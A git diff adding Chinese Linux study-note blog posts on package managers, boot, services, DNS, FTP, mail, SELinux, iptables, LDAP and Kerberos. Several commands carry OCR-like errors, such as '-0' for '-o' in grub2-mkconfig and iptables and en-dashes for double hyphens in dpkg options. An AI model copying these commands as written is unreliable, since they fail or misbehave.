- 设置主机名 + - 启用交换分区 + - 根文件系统检查并且重装加载 + - 激活RAID和LVM设备 + - 启用磁盘限额管理 + - 检查并加载其它文件系统 + - 清除过期的锁和PID文件 +- /etc/inittab +- /etc/rc.d/rc[0-6].d +- /etc/init/control-alt-delete.conf +- /etc/init/tty.conf +- /etc/init/serial.conf +- /etc/init/prefdm.conf + +### 5,第五阶段: 完成启动 + +### 系统故障排除 + +#### Rescue + +> - Rescue mode: 拯救模式,拯救系统 +> - 用于修复操作系统的一个平台 +> - 类似winPE,liveCD + +- 进入Rescue mode: + - 通过光盘引导,PXE引导,制作USB引导等 + +## 新Linux发行版 + +### GRUB2 + +> - 配置文件: +> - /boot/grub2/grub.cfg或/boot/efi/EFI/redhat/grub.cfg + +- 生成配置文件: + - grub2-mkconfig -0 /boot/grub2/grub.cfg +- 修改配置文件 + - /etc/default/grub +- Grub2 特性L: + - 支持Intel , AMD , PowerPC架构 + - 支持固件类型: BIOS , EFI/UEFI + - 支持主引|导记录MBR和GPT + - 支持非Linux文件系统:苹果的扩展分层文件系统( HFS+ )和微软的NTFS + +### gdisk工具 + +支持GPT格式 + +## Archlinux + +### 安装 + +安装指南 + +[官方wiki安装指南 ](https://wiki.archlinuxcn.org/wiki/安装指南) + +### pacman包管理器 + +> - pacman是archlinux包管理器,负责安装、删除和升级软件。 + +- 它的最大亮点是将一-个简单的二进制包格式和易用的构建系统(ABS)结合。 +- pacman 软件仓库: + - 在/etc/pacman.conf文件中定义使用的软件仓库,可以直接设置或从其它文件包含,只需要维护-一个列表。 + - [core]提供了最基本的包,安装盘也提供有 + - [extra]提供的是不适合[core] 库标准的软件包 + - [community]提供的是由TU认证的AUR包 + +### pacman常用命令 + +> - 安装指定的包: +> - pacman -S package_name…. +> - pacman -S extra/package_name + +- 安装包组: + - pacman -S gnome +- 升级软件包: + - pacman -Syu +- 查看那些包属于改组: + - pacman -Sg gnome +- 删除软件包,保留全部依赖关系: + - pacman -R package_name +- 删除软件包,仅保个别依赖关系: + - pacman -Rs package_name +- 删除软件包,不删除依赖该软件的其他程序: + - pacman -Rdd package_name +- 删除软件包,并删除所有依赖该软件的程序: + - pacman -Rsc package_name +- 查询可用的软件包: + - pacman -Ss package_ name +- 查询已安装的软件包: + - pacman -Qs package_ name +- 查询文件是由哪个软件包提供: + - pacman -Qo filename +- 查询软件包信息: + - pacman -Si package_ name +- 查询已安装软件包所包含的文件: + - pacman -QI package name + +## 服务管理(systemd) + +> **systemd** 是一个 Linux 系统基础组件的集合,提供了一个系统和服务管理器,运行为 PID 1 并负责启动其它程序。功能包括:支持并行化任务;同时采用 socket 式与 D-Bus 总线式启用服务;按需启动守护进程(daemon);利用 Linux 的 cgroups 监视进程;支持快照和系统恢复;维护挂载点和自动挂载点;各服务间基于依赖关系进行精密控制。systemd 支持 SysV 和 LSB 初始脚本,可以替代 sysvinit。除此之外,功能还包括日志进程、控制基础系统配置,维护登陆用户列表以及系统账户、运行时目录和设置,可以运行容器和虚拟机,可以简单的管理网络配置、网络时间同步、日志转发和名称解析等。 + +更多有关[systemd ](https://wiki.archlinuxcn.org/wiki/Systemd)的详细介绍. + +## Ubuntu + +**ubuntu是基于Debian GNU/Linux,由全球化的专业开发团队(Canonical Ltd)打造的开源GNU/Linux操作系统,发行周期为6个月。** + +### ubuntu设计的目标 + +**ubuntu的目标是更多地的以用户为本以及桌面应用** + +### Ubuntu风格 + +> - ubuntu提供的最新的、同时又相当稳定的主要由自由 +> 软件,附带一部分当今比较流行的第三方软件构建而成的 +> 操作系统 + +- ubuntu对GNU/Linux的普及特别是桌面普及作出了巨大贡献 + +### Ubuntu 系统衍生版本 + +![img](https://s1.vika.cn/space/2023/04/07/73973831bc804bd680f9c8c66169252c) + +### Ubuntu安装 + +略 + +### Ubuntu包管理器 + +ubuntu派生自Debian,所以使用相同的包管理与仓库工具 + +#### dpkg (Debian Package Management System) + +**ubuntu/Debian下的二进制软件包通常是以.deb格式发布的,使用dpkg进行软件管理,如安装、删除、查询等功能** + +> - 安装软件: +> +> ```bash +> dpkg -i packagename.deb +> ``` + +- 删除软件: + + ```bash + dpkg -r packagename + ``` + +- 查询软件包信息: + + ```bash + dpkg –info packafename.deb + dpkg –status packagename + ``` + +- 查询软件包所含文件 + + ```bash + dpkg –listfiles packagename + dpkg –contents packagename.deb + ``` + +- 查询文件归属 + + ```bash + dpkg –search filename + ``` + +- 查询系统中的包 + + ```bash + dpkg –l + ``` + +#### apt (Advanced Packaging Tool) + +**apt是ubuntu/debian及其派生发行版的软件包管理器,可以自动下载,配置,安装二进制或者源代码格式的软件包** + +> - 安装软件 +> +> ```bash +> apt-get install package +> ``` + +- 删除软件 + + ```bash + apt-get remove package + ``` + +- 查询软件包信息 + + ```bash + apt-cache show package + ``` + +- 查询文件归属 + + ```bash + apt-file search filename + ``` + +- 查询软件包所含文件 + + ```bash + apt-file list package + ``` + +- 查询系统中的包 + + ```bash + apt-cache pkgnames + ``` + +### apt前端程序 + +aptitude: apt 的高级的字符和命令行前端 +aynaptic: 图形界面的apt前端 +dselect: 使用菜单界面的包管理工具 +gnome-apt: 图形界面的apt前端 + +### PPA (Personal Package Archives) + +**PPA是ubuntu的私人软件仓库,允许用户上传原码包,由launchpad编译并发布作为apt的仓库** + +#### 命令行添加PPA + +```bash +sudo add-apt-repository ppa:user/ppa-name +sudo apt-get update +sudo apt-get install package +``` + + + +#### 命令行删除PPA + +```bash +sudo add-apt-repository –remove ppa:user/ppa-name +``` + diff --git a/source/_posts/cloud_linux_3.md b/source/_posts/cloud_linux_3.md new file mode 100644 index 0000000..b5b2349 --- /dev/null +++ b/source/_posts/cloud_linux_3.md @@ -0,0 +1,1066 @@ +--- +title: 云计算 - Linux服务与安全 +date: 2023-04-27 12:56 +tags: [云计算, 笔记] +categories: 笔记 +thumbnail: "https://hexoimage.pages.dev/file/2369b0203a6961af7cd62.jpg" +--- + +## 网络基础 + +### Socket 通讯 + +- 所谓socket通常也称作”套接字” ,用于描述IR地址和端口,是一个通信链的句柄。应用程序通常通过”套接字”向网络发出请求或者应答网络请求。 + +![img](https://s1.vika.cn/space/2023/04/19/c3c2efcc5f0840f4bb365212449401c1) + +### C/S, B/S架构 + +**C/S(Client/Server):客户端-服务器结构** + +- C/S结构在技术上很成熟,它的主要特点是交互性强、具有安全的存取模式、网络通信量低、响应速度快、利于处理大量数据。因为客户端要负责绝大多数的业务逻辑和UI展示,又称为胖客户端。它充分利用两端硬件,将任务分配到Client 和Server两端,降低了系统的通讯开销。C/S结构的软件需要针对不同的操作系统系统开发不同版本的软件,加之产品的更新换代十分快,已经很难适应百台电脑以上局域网用户同时使用。 + +**B/S(Browser/Server):浏览器-服务器结构,是目前应用系统的发展方向** + +- BS是伴随着Internet技术的兴起,对C/S架构的改进,为了区别于传统的C/S 模式,特意称为B/S模式。在这种结构下,通过W3浏览器来进入工作界面,极少部分事务逻辑在前端(Browser)实现,主要事务逻辑在服务器端(Server)实现,形成三层(3-tier)结构。这样使得客户端电脑负荷大大简化(因此被称为瘦客户端),减轻了系统维护、升级的支出成本,降低了用户的总体成本(TCO)。 + +| 系统架构 | C/S | B/S | +| ------------ | -------------------------------- | -------------------------------------- | +| 配置成本 | 高,客户机和服务器都需要配置软件 | 低,只需配置服器,客户机只需安装浏览器 | +| 维护更新成本 | 高,服务器和客户机均要维护更新 | 低,只维护更新服务器 | +| 响应速度 | 快,没有中间环节 | 慢 | +| 个性化定制 | 强 | 弱 | + +## 服务的基础 + +linux下的服务管理有两类: + +- System V 服务 +- Transient 服务 + +### System V 服务 + +System V, 曾经也被称为 AT&T System V,是Unix操作系统众多版本中的一支。它最初由 AT&T 开发,在1983年第一次发布。一共发行了4个 System V 的主要版本:版本1、2、3 和 4。System V Release 4,或者称为SVR4,是最成功的版本,成为一些UNIX共同特性的源头,例如 ”SysV 初始化脚本“ (/etc/init.d),用来控制系统启动和关闭,System V Interface Definition (SVID) 是一个System V 如何工作的标准定义。 + +> - 通常被成为”System V” 或 “SysV” + +- 许多脚本都是用文件系统目录的格式来组织的 +- 可启用或者禁用资源服务 +- 经常使用几个配置文件 +- 大多数服务启动一个或多个进程 +- 命令被“包裹”在脚本中. +- 服务由/etc/init.d/目录中的脚本管理 + - 例如: /etc/init.d/sshd status + - service sshd status + +#### chkconfig + +> - 管理运行级别中的服务定义 + +- 在引导时启动cups服务: chkconfig cupS on +- 不会改变System V服务的当前运行状态 +- 用于独立的和瞬时的服务 +- 被其它应用程序调用,其中包括system-config-services命令 +- 要列出服务在运行级别中的分配情况,需运行chkconfig –list 命令 + +#### /etc/sysconfig文件 + +> - 用于配置服务的运行方式 + +- named +- sendmail +- dhcpd +- samba +- syslog + +### Transient 服务 + +> - 瞬时( Transient )服务被xinetd进程所管理 + +- 进入的请求首先被xinetd 代理 + +- 配置文件/etc/xinetd.conf , /etc/xinetd.d/service + +- 用chkconfig控制的服务: + + ``` + chkconfig tftp on + ``` + +### 计划任务 + +> - 一次性计划任务 + +- 周期性计划认任务 + - 系统的 + - 用户的 +- Anacron + +### 一次性计划任务 + +> - 包名: atd + +- 命令: + - at + - batch - 当系统负载低于0.8时才运行 +- 按Ctrl+D完成 + +**at**命令后需要跟上时间 + +时间的表示方式: + +> - HH:MM + +- midnight - 12:00 a.m. +- noon - 12:00 p.m. +- teatime - 4:00 p.m. +- MONTHDAYYEAR - 例如: January 15 2015 +- MMDDYY - 例如: 011315 +- now + TIME - now + 5 days + +### 周期性的计划任务 + +> - 系统的- crontab + +- 用户的- crond + - 创建:crontab -e + - 查看:crontab -l + - 删除:crontab -r +- Anacron运行那些在系统当机期间未执行的cron任务 + - 假定计算机不是连续运行的 + - 对笔记本电脑,工作站及其它非连续运行的系统来说很重要 + - 对需要临时停机的服务器也有作用 +- 配置文件: /etc/anacrontab + - 字段1: 如果任务在指定的天数内没有运行 + - 字段2: 重启后在执行任务之前需要等待多久 + - 字段3: 任务标识符 + - 字段4: 需要运行的任务 + +### Rsyslog 服务 + +**把日志集中存储在一个安全的地方, 通过日志分析系统的运行情况. Rsyslog全称”the Rocket-fast SYStem for LOG processing”,是一种应用于UNIX和Linux计算机系统在IP网络转发日志消息开源软件实用的程序。它实现了基本的syslog协议,扩展了基于内容过滤的过滤能力,丰富灵活的配置选项,并增加了诸如使用TCP传输的特点。** + +> - 格式: selector action +> - selector : facility.level +> - facility : who or what +> - level : when +> - action :如何处理这些信息 + +folding cyan, Facility + +| Facility Number | Keyword | Facility Description | +| --------------- | -------- | ---------------------------------------- | +| 0 | kern | kernel messages | +| 1 | user | user-level messages | +| 2 | mail | mail system | +| 3 | daemon | system daemons | +| 4 | auth | security/authorization messages | +| 5 | syslog | messages generated internally by syslogd | +| 6 | Ipr | line printer subsystem | +| 7 | news | network news subsystem | +| 8 | uucp | UUCP subsystem | +| 9 | | clock daemon | +| 10 | authpriv | security/authorization messages | +| 11 | ftp | FTP daemon | +| 12 | | NTP subsystem | +| 13 | | log audit | +| 14 | | log alert | +| 15 | cron | clock daemon | +| 16 | local0 | local use 0 (local0) | +| 17 | local1 | local use 1 (local1) | +| 18 | local2 | local use 2 (local2) | +| 19 | local3 | local use 3 (local3) | +| 20 | local4 | local use 4 (local4) | +| 21 | local5 | local use 5 (local5) | +| 22 | local6 | local use 6 (local6) | +| 23 | local7 | local use 7 (local7) | + +endfolding + +folding cyan, Level + +| Code | Severity | Description | General Description | +| ---- | ------------- | ------------- | -------------------------------- | +| 0 | Emergency | emerg(panic) | System is unusable | +| 1 | Alert | alert | Action must be taken immediately | +| 2 | Critical | crit | Critical conditions | +| 3 | Error | err(error) | Error conditions | +| 4 | Warning | warning(warn) | Warning conditions | +| 5 | Notice | notice | Normal but significant condition | +| 6 | Informational | info | Informational messages | +| 7 | Debug | debug | Debug-level messages | + +endfolding + +> - 日志文件 + +- /var/log/messages +- /var/log/dmesg +- /var/log/boot.log +- /var/log/maillog +- /var/log/secure +- /var/log/lastlog - 记录所有用户的最近登录信息。要用lastlog命令查看 +- /var/log/btmp - 记录所有失败登录信息。用lastb命令查看 +- /var/log/wtmp - 记录正常登录系统的信息。用w命令查看 + +### Logrotate + +> - /etc/logrotate.conf +> - weekly-每周rotate–次 +> - rotate 4 -保留四个日志文件 +> - create -创建一 个新的文件来存储日志 +> - compress -保留的日志文件是否要压缩,文件太大可以启动该参数 +> - minsize 1M-日志文件容量超过1M后才进行rotate + +#### Logrotate 转发 + +> - 支持三种转发形式: +> - UDP - @IP 1.1-1.1 +> - TCP - @@IP +> - RELP - :omrelp:(最可靠) + +- 启用UDP + - $ModLoad imudp + - $UDPServerRun 514 +- 启用TCP + - $ModLoad imtcp + - $InputTCPServerRun 514 +- $template TemplateName, “格式”, < options> +- 引号模板: + - ? TemplateName + +### ntpl (Network Time Protocol) + +> - 时间同步使系统日志便于分析 + +- 许多应用需要精确的时间 +- 如果没有校正,工作站的硬件时钟会随着时间逐渐产生漂移. +- NTP通过控制- -秒的长度来抵消时钟漂移 +- NTP客户端应当配置三个时钟服务器 +- 配置文件: /etc/ntp.conf +- 配置工具: system-config-date + +## Tcp-warppers + +![img](https://s1.vika.cn/space/2023/04/21/b80cddb42a8548989ffa16c3175e7a1a) + +### 服务和应用程序的访问控制 + +> 服务特有的配置 +> +> > 有些守护进程如httpd, smbd, squid等有自己的安全机制 +> > 通用配置 +> > 和libwrap.so相连接的所有程序都使用公共的配置文件 +> > 因为xinetd和libwrap.so相连接,所以它的服务也受此影响 +> > 检查主机和(或)远程用户名 + +### tcp_ wrappers配置 + +> - 检查访问权限的三三个步骤: +> - 访问被明确允许.了 吗? +> - 或者,访问被明确拒绝了吗? +> - 或者,默认设置是允许访问! + +- 配置被存放在两个文件里: + - /etc/hosts.allow文件里保存允许的访问 + - /etc/hosts.deny文件里保存拒绝的访问 +- 基本语法: + - daemon_ *list: client* list [:options] + +### 守护进程的说明 + +> - 守护进程名称: +> - 应用程序传递它们的可执行文件名称 +> - 可以制定多个服务 +> - 使用通配符ALL来匹配所有守护进程 + +- 高级语法: + - daemon@host: client_list … + +### 宏定义 + +> - 主机名宏定义 +> - LOCAL +> - KNOWN, UNKNOWN, PARANOID + +- 主机和服务宏定义 + - ALL +- EXCEPT + - 可用于客户和服务列表 + - 可嵌套 +- 扩展选项 + - 语法: + - daemon_ list: client list [:opt1 :p2..]I + - spawn: + - can be used to start additional programs + - special expansions are available (%C, %s) + - 例如: + - in.telnetd: ALL : spawn echo “login attempt from %C to %s”| mail -S warning root + - deny: + - 可作为hosts.allow中的一个选项 + - 例如: + - ALL: ALL: DENY + +## SELinux + +### MAC VS DAC + +> - DAC- Discrentionary Access Control 自主访问控制 +> - 权限 +> - 拥有者、拥有组和其它人 + +- MAC - Mandatory Acess Control ( 强制访问控制) + - 基于角色: + - 一个组只代表一个或多个用户 + - 一个角色可以代表多个用户,也代表一个用户集可以执行的权限 + - 使用最小特权原则 + +![img](https://s1.vika.cn/space/2023/04/21/7dd55bcd388443eeb1a7b8e212cee6bb) +![img](https://s1.vika.cn/space/2023/04/21/61a109862768471a9b20bacbf16f88dd) + +### SELinux - Secutiry-Enhanced Linux + +**基于内核级别的MAC** + +- SELinux是美国国家安全局( NSA= The National Security Agency )和SCC( Secure Computing Corporation )开发的Linux的一一个扩张强制访问控制安全模块。 + +![img](https://s1.vika.cn/space/2023/04/21/d34dc5807a5946b2bca55e836f6a0ed4) + +> - 所有文件和进程都具备“安全环境”( security context ) + +- 环境包含几个元素,根据安全的需要使用不同的元素 + - user.role:type:sensitivity:category + - user_ *u:object* *r:tmp* _t:s0:cO +- 查看: + - ls -Z (查看文件或目录) + - ps -Z (查看进程) + - 通常和其它选项配对使用,例如-ef + +| 登录名 | SELinux用户 | MLS范围 | Service | +| --------- | ------------ | -------------- | ------- | +| *default* | unconfined_u | s0-s0:c0.c1023 | * | +| root | unconfined_u | s0-s0:c0.c1023 | * | +| system_ u | system_u | s0-s0:c0.c1023 | * | + +#### role + +> - object_ r -定义系统中的文件的通用的角色,必须是拥有system_ r角色的程序才能访问 + +- system_ _r - - -般为进程的角色 + +> - 一组叫做”策略( policy)”的规则会决定控制的严格程度 + +- 进程要么是被限制的(restricted) ,要么是无束缚的( unconfined) +- 策略被用来定义被限制的进程能够使用哪些资源 +- 默认情况下将拒绝没有被明确允许的行为 + +#### Security Level + +> - MLS - Multi-Lever Security (多等级安全) + +- MLS未启用前: + - user_ *u:role* *r:type* t +- MLS启用后: + - user:role:type:sensitivity[:category…]- sensitivity [:category…] +- security level由两部分组成 + - sentitivity [ :category… ] +- sentitivity: + - sO + - s1 + - … +- category: + - c0 + - … + - c1023 + +### SELinux不能做什么? + +> **不能替代杀毒软件** +> **不能替代认证机制、防火墙或其它安全系统** +> **它不是集所有功能于一身的安全解决方案** + +### 启用和关闭SELinux + +> - 修改/etc/sysconfig/selinux + +- 三种模式: + - enforcing -启动SELinux (策略生效,支持动态切换到permissive + - permissive-策略不生效,相当于disabled,但是支持动态切换到enforcing ,并且访问生成日志 + - disabled -关闭SELinux +- 策略类型: + - targeted :默认策略 + - MLS + +### Booleans + +> - Booleans : +> - booleans允许在运行时改变SELinux策略 +> - 不必重新编译SELinux策略 + +- 查看booleans: + - getsebool -a +- 设置booleans : + - setsebool -P booleans_ name on|off(‘-P’:使修改值永久生效) + +## **DNS 服务** + +**DNS : Domain Name System** + +> - 常用的主机名称服务 +> - 文件( /etc/hosts ) +> - DNS + +- 早期,使用HOSTS存储主机名到IP地址的映射,由SRI (Stanford Research Institute)斯坦福研究所的NIC (网络信息中心)负责维护,各个主机通过 FTP进行更新 + +## Bind + +> - 类型:系统V ( System V )管理的服务 + +- 软件包: bind, bind-utils,bind-chroot +- 守护进程: /usr/sbin/named +- 脚本: /etc/init.d/named +- 端口: 53 (domain) +- 配置文件: /etc/named.conf, /var/named/* +- 相关软件包: openssl +- service named configtest +- service named start +- chkconfig +- named on + +### 区块文件结构 + +> - 资源记录都有五个字段) : +> - Jomain -被查询的域或子域) +> - ttl-记录被保存在缓存中的时间,以秒为单位 +> - class -记录类别,(通常是IN) +> - type-记录类型,例如A或NS +> - rdata一域映射的资源数据 +> - 从概念上讲,用户会查询domain (域名) , 而domain则映射到rdata来查找答案 + +### SOA查询 + +> - SOA ( Start Of Authority )记录将一 个服务器标记为主服务器 + +- 初步观察结果 + - 域字段叫做始发地址 + - rdata字段被引申为支持额外数据r 下-一个演示片对此进行了解释 + - 一般来说, -一个域通常有一 个主名称服务器,它保存数据的主要副本 + - 域或区块的其它规范性名称服务器被称为“从服务器”,它们会将其数据与主服务器同步 +- SOA rdata + - 主名称服务器的FQDN + - 联系邮件地址 + - 序列号码 + - 在刷新序列号码之前刷新延迟时间 + - 从服务器的重试间隔 + - 当从服务器无法连接它的主服务器时,记录会过期 + - 否定性答复(“no such host”)的TTL最小值 + +| 记录类型 | 说明 | +| -------- | ---------------------- | +| A | 主机地址记录 | +| CNAME | 别名 | +| MX | 接收邮件的服务器主机名 | +| NS | 域名服务器 | +| PTR | 反向查询记录 | +| SOA | 该区域数据的授权机构 | + +### DNS 主从 + +> - 从区块说明 + +``` +zone "example.com" +{ + type slave; + masters { mymasters; }; + file "slaves/example.com.zone"; +}; +``` + +- 示范性区块说明: + - 只想根据master选项中的主机的区块文件传送( AXFR和IXFR ) + - 将传送到的数据保存在/var/named/slaves/example.com.zone + - 重载named自动创建文件 + +### 访问控制列表(ACL) + +> - 简单的说,ACL将一个名称分配给一个地址匹配列表 + +- 一般可以用来代替匹配列表(允许嵌套! ) +- 最好的办法是在/etc/named.conf文件的开始处定义ACL +- 声明示例 + - acly”trusted {192.168.1.21; } + - acl “classroom” { 192.168.0.0/24; trusted;}; + - acl “cracker” { 192.168.1.0/24; }; + - acl “mymasters” { 192.168.0.254; }; + - acl “myaddresses” { 127.0.0.1; 192.168.0.1; }; +- 内置ACL + - BIND预定义了几个ACL: + - none - 不匹配任何IP地址 + - any - 匹配所有IP地址 + - localhost - 匹配名称服务的任何IP地址 + +## chroot + +## bind-chroot软件包 + +> - 在/var/named/chroot中安装chroot环境 + +- 将现有的配置文件转移到chroot环境 +- 更新/etc/sysconfig/named文件中named选项: + - ROOTDIR=/var/named/chroot +- 提示 + - 安装了bind-chroot软件包后查看/etc/sysconfig/named + - 启动了named后运行ps -ef| grep named来校验启动选项 + +## FTP 服务 + +![img](https://s1.vika.cn/space/2023/04/21/9a3fce5b446e40c3baf827cd6364401d) + +### FTP软件 + +> - Vsftpd - Very Secure FTP Daemon +> - 非常安全 + +- Pureftpd - the Pure FTP Daemon + - 轻量级的 + - 快速的 + - 安全的口 +- Proftpd - the Popular FTP Daemon + - 配置简单 + - 支持虚拟主机 +- Ncftpd + - 高性能的 + +### 文件传输协议(FTP) - vsftpd + +> - vsftpd -红帽企业版及普华Linux的默认ftp服务器 +> - 不再由xinetd,管理, +> - 允许系统、匿名或虚拟(仅用于FTP服务)用户的访问 +> - 匿名目录层次结构由vsftpd RPM提供 +> - /etc/vsftpd/vsftpd.conf是主配置文件 + +### NFS + +**NFS一Network File System** +**允许网络中的计算机之间通过TCP/IP网络共享资源** + +**RPC- Romote Procedure Call** +**该协议允许运行于一台计算机的程序调用另一台计算机的子程序** + +> - 类型:系统 V(System V) + +- 软件包: nfs-utils +- 守护进程: rpc.nfsd, rpc.lockd, rpciod, rpc.mountd, rpc.rquotad, rpc.statd +- 脚本: /etc/init.d/nfs, /etc/init.d/nfslock +- 端口:2049(nfsd) +- 配置文件: /etc/exports +- 相关软件包: tcp_ wrappers + +### 用于防火墙的端口选项 + +> - mountd, statd和lockd可以被强制使用一个静态端口 + +- 在/etc/sysconfig/nfs中设置MOUNTD_ PORT、STATD_ PORT LOCKD_ TCPPORTHE和LOCKD_ UDPPORT变量 + - MOUNTD_ PORT=”4002” + - STATD_ PORT= “4003” + - LOCKD_ TCPPORT= “4004” + - LOCKD_ UDPPORT= “4004” + +## WEB 服务 + +**Aparch** + +### 服务侧写: httpd + +> - 类型:系统V(SystemV)管理服务 + +- 软件包: httpd , httpd-devel , httpd-manual +- 守护进程: /usr/sbin/httpd +- 脚本: /etc/init.d/httpd +- 端口: 80(http)、443 ( https ) +- 配置: /etc/httpd/* , /var/www/* +- 相关软件包: mod_ _ssl + +### 邮件服务 + +> - MTA - Mail Transfer Agent + +- MDA - Mail Delivery Agent +- MUA一Mail User Agent +- MRA一Mail Retiveral Agent + +![img](https://s1.vika.cn/space/2023/04/22/70a968c6417346fba7159232e6adc2a6) + +> - 安装: +> - Sendmail +> - Postfix + +- 基本配置 +- 监听的接口 +- 测试 + +### SMTP命令 + +> - HELO连接者的主机名 + +- EHLO连接者的主机名( 使用ESMTP ) +- MAIL FROM: +- RCPT TO: +- SIZE=bytes (指定发送邮件的大小) +- DATA +- QUIT +- VRFY username + +### SMTP限制 + +> - 在/etc/mail/sendmail.mc中启用,使用 +> +> ``` +> FEATURE(blacklist recipients')dnl +> ``` + +- 在/etc/mail/access中添加限制 + + ``` + From:90trialspammer@aol.com REJECT + Connect:spamRus.net REJECT + Connect:204.168.23 REJECT + Connect:10.3 OK + From:virtualdomain1.com RELAY + To:user@dom9.com ERROR:550 mail discarded + To:nobody@ ERROR:550 bad name + ``` + +### 服务侧写: dovecot + +> - 类型:系统V管理的服务 + +- 软件包: dovecot +- 守护进程: /usr/sbin/dovecot口 +- 脚本: /etc/init.d/dovecot 0 +- 端口: 110 (pop), 995 (pop3s), 143 (imap), 993 (imaps) +- 配置: /etc/dovecot/dovecot.conf, /etc/dovecot/conf.d/ +- 相关软件包: procmail, fetchmail, openssl + +## 防火墙 + +### 防火墙功能 + +> - 内容过滤(元数据的过滤,内容过滤) + +- NAT +- 状态检测 +- Qos +- 一体化: + - VPN + - IPS(入侵检测) + - AV (防毒墙) + +### Iptable + +![img](https://s1.vika.cn/space/2023/04/22/9ff63d7b61af4a5284f29d52d3b39bd6) + +### Netfilter + +> 在内核中过滤:无守护进程 +> 在OSr参考模型(OSIReferenceModel)的第2、3、4层插入策略 +> 只查看数据包标题 +> 由内核中的netfilter 模块和iptables用户空间软件 +> mangle: 用于对数据包相关字段的修改,如设置TOS、TTL +> nat: 只用于NAT转换时的访问控制 +> filter: 默认表,用于一般的过滤 + +![img](https://s1.vika.cn/space/2023/04/22/6a93d3347db147be80059866d679f6bc) + +### Netfilter + +![img](https://s1.vika.cn/space/2023/04/22/96b00e25733d485d893d321274bdf70b) + +``` +iptable -t filter -A INPUT -s 192.168.0.1 -j DROP +# -t: 指定表 +# -A: 添加策略 +# -s: 指定源地址 +# -j: 跳转 +``` + +#### 规则目标 + +> - 内置自标: DROP, ACCEPT + +- 扩展目标: LOG, REJECT,定制链( custom chain ) +- REJECT给发送者返回-个通知 +- LOG连接系统日志内核工具 +- LOG匹配不会从链中退出 +- 目标是可选的,但是每条规则最多只能有一个目标,如没有目标,就默认使用链的策略 + +#### 匹配规则 + +> - 按顺序配列的规则 + +- 按规则顺序测试数据包 +- 首次匹配后会评估目标:通常退出链 +- 规则可以指定多个匹配条件 +- 必须满足规则说明中的每个条件才算是匹配(逻辑AND ) +- 如果无匹配规则应用链策略 + +### SNAT + +> - MASQUERADE +> - iptables -t nat -A POSTROUTING -0 eth0 -j MASQUERADE + +- SNAT + - iptables -t nat -A POSTROUTING j SNAT –to-source 1.2.3.45 + +### /etc/passwd + +| 字段 | 含义 | 说明 | +| ---- | --------- | ------------------------------------------------------------ | +| 1 | 用户名 | 是uid的字符串标记方式 | +| 2 | 密码 | 在旧的unix系统中,该字段是用户加密后的密码,现在已经不再使用,而是将密码放在/etc/shadow中,所以此处都只是一个字母X | +| 3 | UID | 系统用来区分不同用户的整数 | +| 4 | GID | 系统用来区分不同用户组的整数 | +| 5 | 说明栏 | 类似于“注释” | +| 6 | 家目录 | 用户登录后,默认所处的目录,即家目录 | +| 7 | 登录SHELL | 用户登录后,所使用的SHELL | + +### /etc/shadow + +| 字段 | 含义 | 说明 | +| ---- | ------------------------ | ----------------------------------------------------------- | +| 1 | 用户名 | 是VID的字符串标记方式 | +| 2 | 密码 | 经过如密后的密码 | +| 3 | 密码的最近修改日 | 这个数字是从1970年1月1号至密码修改日的天数 | +| 4 | 密码不可修改的天数 | 修改密码后,几天后不可修改密码,如果是0,意味着随时可以修改 | +| 5 | 密码重新修改的天数 | 密码什么时候过期 | +| 6 | 密码失效前提前警告的天数 | 设定密码过期前提前几天开始提醒 | +| 7 | 密码失效宽限天数 | 密码过期后多少天,密码将失效 | +| 8 | 账号失效日期 | 这个数字是从1970年1月1号至账号失效日的天数 | +| 9 | 保留字段 | 预留 | + +## 集中认证 + +> - 集中认证产品 +> - LDAP - AD , IPA, Oracle/IBM Directory Server +> - NIS +> - SAMBA +> - LDAP + kerberos +> - radius +> - … + +### LDAP + +**Lightweight Directory Access Protocol (轻量型目录访问协议)** + +> - 目录是一-个特殊的数据摩,通常存储一-些小的信息 + +- 例子: + - 电话簿是- -个存储名字和电话的目录 + - DNS是一个存储主机名与IP的目录 + - NIS是- -个存储了系统信息,用户名和密码,还有email地址等的目录 +- 使用目录服务 + - 查寻email地址和联系人信息 + - 管理和同步用户信息 + - 可以被其它网络服务使用 + - 存储和查找其它相关的信息 +- LDIF + - 一个标准的基于文本格式的文件,描述目录条目 + - 一个条目由一-列属性组成,每一行一个属性 + - dn,是一个条目独一的名字,必须位于第一行 + - 条目与条目之间用空行来分隔 + +### Sample Entry in LDIF Form + +> - dn: uid=bjensen, ou=people, dc=example, dc=com + +- objectclass: top +- objectclass: person +- objectclass: organi zationalPerson +- objectclass: inetOrgPerson +- cn:Barbara Jensen +- cn: Barb Jensen +- sn: Jensen +- uid: bjensen +- mail: bj ensen@example . com +- telephoneNumber: +1 919 754 3700 +- postalAddress: Example, Inc.$123 Main +- Street$Any Town, NC 12345$USA +- title: Account Manager + +#### 目录Schema + +> - attribute types :规定属性的值的格式化,以及怎么比较相同类型的两个属性 + +- object classes :代表的一类相似的对象,规定哪些属性是必须的,哪些是可选的 + +#### Objects Classes + +> - 一个object class组织相关的信息 +> - 定义了哪些属性是强制的,必须的 +> - objectclass属性定义了一个条目属于哪些object classes + +- 有两种类型的object classes + - 一个条目必须有一个structural object class + - 一个条目可以有一 个或多个auxiliary object classes + +## Kerberos + +### 安全网络认证系统 + +> - 有三个参与者: +> - Key Distribution Centor ( KDC ) +> - 网络服务 +> - 客户端用户 + +### 初始化认证 + +> - 用户输入用户名和密码 + +- 登录程序向KDC请求TGT +- KDC发送给登录程序-一个用用户的密码加密的TGT +- 如果登录程序能用用户输入的密码解密TGT ,用户就被成功认证 + +### 票据认证 + +> - 客户端向KDC发送访问服务所需要的票据的请求 + +- KDC发送给客户端两个相同的副本 + - 一个是用TGT加密的副本 + - 一个是用服务的密码加密的副本 +- 客户端发送给网络服务 + - 一个是用服务的密码加密的副本 + - 一个是用票据加密的时间戳 + +### 标识参与者 + +> - 标识用户和网络服务 +> - 使用primary , instance和realm + +- 格式: primary/instance@realm +- 例子: + - student@ABC. COM + - user1/admin@ ABC.COM + - host/server1.abc.com@ ABC.COM + - nfs/[host.abc.com@ABC.COM ](mailto:host.abc.com@ABC.COM) + +## 目录服务 IPA + +> - IPA:是一个集成解决方案 +> - Identity , Policy yand Audit + +- IPA使用以下组件: + - Red HatIDirectory Server + - MIT kerberos + - NTP + - BIND + - Web Management Tools + - IPA command-line Tools + +## 数据安全 + +### 随机数发生器 + +### 熵 + +> - 熵-用于描述系统混乱无序程序的物理量 +> - **熵越大,不确定性越大** + +- 内核维护了一个熵池用来收集来自设备驱动程序和其它来源的环境噪音 +- 内核提供来源: + - /dev/random - 会阻塞,耗时长,但安全 + - /dev/urandom - 